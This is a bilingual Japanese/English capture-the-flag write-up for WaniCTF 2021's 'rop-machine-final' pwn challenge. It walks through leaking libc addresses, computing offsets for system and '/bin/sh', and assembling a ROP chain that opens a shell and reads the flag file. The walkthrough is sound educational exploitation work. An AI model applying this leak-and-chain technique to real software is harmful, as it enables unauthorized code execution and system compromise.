rop-machine-final

TCPサーバの接続情報が与えられた。
また、ELFファイル final と、C言語のソースコード final.c、およびファイル sample.py が与えられた。
final.c は、以下の機能を持つものだった。

Information to connect to a TCP server was given.
Also, an ELF file pwn01, a C source code pwn01.c, and a file sample.py were given.
final.c had these operations:

[menu] 0x01. append hex value 0x02. append "pop rdi; ret" addr 0x03. append "pop rsi; ret" addr 0x04. append "pop rdx; ret" addr 0x05. append "gets" addr 0x06. append "open" addr 0x07. append "read" addr 0x08. append "write" addr 0x0a. show menu (this one) 0x0b. show rop_arena 0x00. execute rop

まず、メニューにある関数群を rop_arena に入れ、rop_arena を出力させることで、これらの関数のアドレスを知ることができた。
例えば、以下のように出力された。

Firstly, we can know the addresses of the functions in the menu by appending them to rop_arena and then having it print rop_arena.
This is an example of output:

rop_arena +-----------------------------------+ | 0x00007f70e17f6190 (gets ) |<- rop start +-----------------------------------+ | 0x00007f70e1885d10 (open ) | +-----------------------------------+ | 0x00007f70e1886140 (read ) | +-----------------------------------+ | 0x00007f70e1886210 (write ) | +-----------------------------------+

これらの関数群の名前とアドレスをlibc-database に入れて FIND を押すと、 libc6_2.27-3ubuntu1.4_amd64libc6_2.27-3ubuntu1.3_amd64 の2個の候補が表示された。
この2個の候補では、gets (0x80190)、system (0x4f550)、str_bin_sh (0x1b3e1a) の値は共通だった。

次に、一旦接続を切って接続しなおし、以下の操作を行う。

I put the names and addresses of the functions to libc-database and pressed FIND, seeing two candidates libc6_2.27-3ubuntu1.4_amd64 and libc6_2.27-3ubuntu1.3_amd64.
The values of gets (0x80190), system (0x4f550), and str_bin_sh (0x1b3e1a) for the two candidates were the same.

Then, I performed these operations after disconnecting and reconnecting:

  1. 0x02. append "pop rdi; ret" addr
  2. 0x05. append "gets" addr
  3. 0x0b. show rop_arena

すると、今回の実行における関数 gets のメモリ上の位置がわかる。
さらに、この関数 gets のアドレスはpopの対象となるため、実行には影響を与えない。
例えば関数 gets のメモリ上の位置が 0x00007ff160d54190 のとき、system および str_bin_sh のメモリ上の位置は、 Pythonのインタラクティブを用いて以下のように計算できる。

This reveal the address of the function gets in the memory used in this execution.
Also note that the address of the function gets will be popped and that it won't affect the execution.
Using this address, we can calculate the address of system and str_bin_sh in the memory using the interactive mode of Python.
Here is an example when gets is at 0x00007ff160d54190:

Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> gets_mem = 0x00007ff160d54190 >>> system_mem = gets_mem + 0x4f550 - 0x80190 >>> hex(system_mem) '0x7ff160d23550' >>> str_bin_sh_mem = gets_mem + 0x1b3e1a - 0x80190 >>> hex(str_bin_sh_mem) '0x7ff160e87e1a'

続いて、system("/bin/sh"); を実行するため、以下の順で rop_arena に追加する。

  1. pop rdi; ret のアドレス
  2. str_bin_sh のアドレス
  3. system のアドレス

最終的な rop_arena は、例えば以下のようになる。

After that, append things to rop_arena in these order to execute system("/bin/sh");:

  1. The address of pop rdi; ret
  2. The address of str_bin_sh
  3. The address of system

Finally, the rop_arena will be like this:

rop_arena +-----------------------------------+ | 0x000000000040138c (pop rdi; ret) |<- rop start +-----------------------------------+ | 0x00007ff160d54190 (gets ) | +-----------------------------------+ | 0x000000000040138c (pop rdi; ret) | +-----------------------------------+ | 0x00000000000000000007ff160e87e1a | +-----------------------------------+ | 0x00000000000000000007ff160d23550 | +-----------------------------------+

この状態で execute rop を実行することで、シェルを起動できた。
ls -al コマンドを実行するとファイル flag.txt があることがわかり、cat flag.txt コマンドを実行するとflagが得られた。

I succeeded to launch the shell by performing "execute rop" in this state.
Executing a command ls -al revealed that there is a file flag.txt, and I obtained the flag by executing a command cat flag.txt.

FLAG{you-might-be-the-real-rop-master}

WaniCTF 2021